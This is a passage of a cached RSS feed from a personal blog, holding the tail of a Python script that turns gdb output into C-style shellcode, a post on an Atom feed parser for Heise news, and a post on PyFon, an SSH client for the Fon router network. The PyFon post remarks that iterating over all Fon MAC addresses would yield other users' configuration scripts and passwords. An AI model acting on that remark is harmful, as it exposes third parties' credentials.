                       <span style="color: black;">&#40;</span><span style="color: #483d8b;">'0x'</span>, r<span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>'</span><span style="color: black;">&#41;</span>,
                       <span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span>, <span style="color: #483d8b;">''</span><span style="color: black;">&#41;</span>,
                       <span style="color: black;">&#40;</span>paginator, <span style="color: #483d8b;">''</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>:
            newline_string = newline_string.<span style="color: black;">replace</span><span style="color: black;">&#40;</span>needle, replacement<span style="color: black;">&#41;</span>
        retlines.<span style="color: black;">append</span> <span style="color: black;">&#40;</span>newline_string<span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #483d8b;">&quot;&quot;</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span>retlines<span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">if</span> __name__ == <span style="color: #483d8b;">&quot;__main__&quot;</span>:
    to_convert = <span style="color: #dc143c;">sys</span>.<span style="color: black;">stdin</span>.<span style="color: black;">read</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
    converted = convert <span style="color: black;">&#40;</span>to_convert<span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">print</span> converted</pre></div></div>

<p>Want to take a guess what the shellcode actually does? It&#8217;s not too hard to see though.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.gnome.org/muelli/2009/11/convert-gdb-output-to-c-style-shellcode/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>New Heise Feeds</title>
		<link>http://blogs.gnome.org/muelli/2009/10/new-heise-feeds/</link>
		<comments>http://blogs.gnome.org/muelli/2009/10/new-heise-feeds/#comments</comments>
		<pubDate>Fri, 09 Oct 2009 12:09:33 +0000</pubDate>
		<dc:creator>muelli</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[lang:en]]></category>
		<category><![CDATA[atom]]></category>
		<category><![CDATA[gericht]]></category>
		<category><![CDATA[heise]]></category>
		<category><![CDATA[hhverwg]]></category>
		<category><![CDATA[parse]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[rss]]></category>

		<guid isPermaLink="false">http://blogs.gnome.org/muelli/?p=760</guid>
		<description><![CDATA[Even after  Heise updated its CMS it doesn&#8217;t deliver Atom Feeds with an abstract. I hope they&#8217;ll at least produce well formed XML&#8230; As I think the abstracts, which can be found on the main page or the mobile version, are quite handy, I wrote a parser which will generate an Atom feed with the [...]]]></description>
			<content:encoded><![CDATA[<p>Even after  <a href="http://www.heise.de/newsticker/meldung/In-eigener-Sache-Neues-CMS-fuer-heise-online-806311.html">Heise updated its CMS</a> it doesn&#8217;t deliver Atom Feeds with an abstract. I hope they&#8217;ll at least produce well formed XML&#8230; As I think the abstracts, which can be found on the <a href="http://www.heise.de/">main page</a> or the <a href="http://www.heise-online.mobi/">mobile version</a>, are quite handy, I wrote a parser which will generate an Atom feed with the teaser (and not the first paragraph of the article) built in. I couldn&#8217;t use <a href="http://www.crash-override.net/mmr_heise.html">MakeMyRSS</a> not just because it prints an ad every month or so, but because I had the requirement to link to the print URLs instead of the web URLs (I don&#8217;t have that requirement anymore). But since MakeMyRSS is not free, I liked to have my own solution anyway <img src='http://blogs.gnome.org/muelli/wp-content/mu-plugins/tango-smilies/tango/face-smile.png' alt=':-)' class='wp-smiley' />  Plus, it&#8217;s not written in Bash <img src='http://blogs.gnome.org/muelli/wp-content/mu-plugins/tango-smilies/tango/face-wink.png' alt=';-)' class='wp-smiley' /> </p>
<p>You can find the Atom feed at <a href="http://muelli.cryptobitch.de/rss/heise-atom.xml">http://muelli.cryptobitch.de/rss/heise-atom.xml</a> or the parser <a href="http://hg.cryptobitch.de/geRSSicht/file/tip/src/heisefeed.py#l1">here</a>. But you&#8217;d be better off cloning the repository (<tt>hg clone http://hg.cryptobitch.de/geRSSicht/</tt>) because you can send me patches more easily <img src='http://blogs.gnome.org/muelli/wp-content/mu-plugins/tango-smilies/tango/face-wink.png' alt=';-)' class='wp-smiley' /> </p>
<p>You&#8217;ll also find a parser for the <a href="http://muelli.cryptobitch.de/rss/hhverwg-atom.xml">adminstrative court of Hamburg</a> and for <a href="http://muelli.cryptobitch.de/rss/telepolis-atom.xml">Telepolis</a>. All the news are in German though, but at least the Heise feed should be easily portable for <a href="http://www.h-online.com/">The H</a>&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.gnome.org/muelli/2009/10/new-heise-feeds/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>PyFon &#8211; Being a Fonero</title>
		<link>http://blogs.gnome.org/muelli/2009/02/pyfon-being-a-fonero/</link>
		<comments>http://blogs.gnome.org/muelli/2009/02/pyfon-being-a-fonero/#comments</comments>
		<pubDate>Fri, 27 Feb 2009 00:54:47 +0000</pubDate>
		<dc:creator>muelli</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[lang:en]]></category>
		<category><![CDATA[fon]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://blogs.gnome.org/muelli/?p=98</guid>
		<description><![CDATA[The problems I described last time, are gone now The paramiko mailinglist is, besides the pretty good documentation, a very good information ressource. So I built a Fon client in Python which allows you to login to the Fon server and make your Fonera officially online. So in order to get your copy of PyFON, [...]]]></description>
			<content:encoded><![CDATA[<p>The <a href="http://www.lag.net/pipermail/paramiko/2009-February/000931.html">problems</a> I described <a href="http://blogs.gnome.org/muelli/2009/02/23/free-fon/">last time</a>, are gone now <img src='http://blogs.gnome.org/muelli/wp-content/mu-plugins/tango-smilies/tango/face-smile.png' alt=':)' class='wp-smiley' />  The <a href="http://www.lag.net/paramiko/">paramiko</a> <a href="http://www.lag.net/mailman/listinfo/paramiko">mailinglist</a> is, besides the pretty good <a href="http://www.lag.net/paramiko/docs/">documentation</a>, a very good information ressource.</p>
<p>So I built a Fon client in Python which allows you to login to the Fon server and make your Fonera officially online.</p>
<p>So in order to get your copy of PyFON, do a</p>
<pre>hg clone http://hg.cryptobitch.de/pyfon</pre>
<p>To use it, simply give the MAC address of your Foneras wireless interface as an argument and run it or do it in a more sophisticated way:</p>
<pre>muelli@xbox:~/hg/pyfon$ python ./src/pyfonclient.py --loglevel info --firmware 0.7.2 --revision 3 --mode cron --ethernetmac 00:18:84:fo:ob:ar 00:18:84:fo:ob:ar
INFO:root:Connecting to host: download.fon.com:1937 as user: openwrt
INFO:paramiko.transport:Connected (version 2.0, client OpenSSH_4.3p2)
INFO:paramiko.transport:Authentication (publickey) successful!
INFO:root:Connect finished
INFO:paramiko.transport:Secsh channel 1 opened.
INFO:root:Found _auth_string: mode='cron' wlmac='00:18:84:ff:ee:dd' mac='00:18:84:fo:ob:ar' fonrev='3' firmware='0.7.2' chillver='1.0-1' thclver='1.0' device='fonera'

INFO:root:Finally closing everything
muelli@xbox:~/hg/pyfon$</pre>
<p>If you increase the loglevel to, say, debug, then you&#8217;ll get the script which Fon send you and supposes you to execute. If you change your password via the Fon webinterface, you&#8217;ll see your new password in that script.</p>
<p>So if you want to disturb the Fon network, you can iterate over all Fon MACs and receive the possible made configuration changes. By that, you&#8217;ll get the new passwords as well, of course&#8230;</p>
<p>Another funny thing is that the Fon server sends you their banner, if you explicitely request a shell:</p>
<pre>In [1]: import pyfonclient
In [2]: c  = pyfonclient.Client()
In [3]: c.connect()
In [4]: channel = c.client.invoke_shell()
In [5]: channel.recv_ready()
Out[5]: True
In [6]: buf=""
In [7]: while channel.recv_ready(): buf += channel.recv(1)
   ...:
In [8]: print buf
Linux fonesfat02 2.6.18-6-amd64 #1 SMP Sun Feb 10 17:50:19 UTC 2008 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
In [9]:</pre>
<p>But you can&#8217;t execute any command&#8230;</p>
<p>Patches are, as always, welcome <img src='http://blogs.gnome.org/muelli/wp-content/mu-plugins/tango-smilies/tango/face-smile.png' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.gnome.org/muelli/2009/02/pyfon-being-a-fonero/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<!-- This Quick Cache file was built for (  blogs.gnome.org/muelli/tag/python/feed/ ) in 1.54161 seconds, on Feb 11th, 2012 at 10:12 pm UTC. -->
<!-- This Quick Cache file will automatically expire ( and be re-built automatically ) on Feb 11th, 2012 at 11:12 pm UTC -->
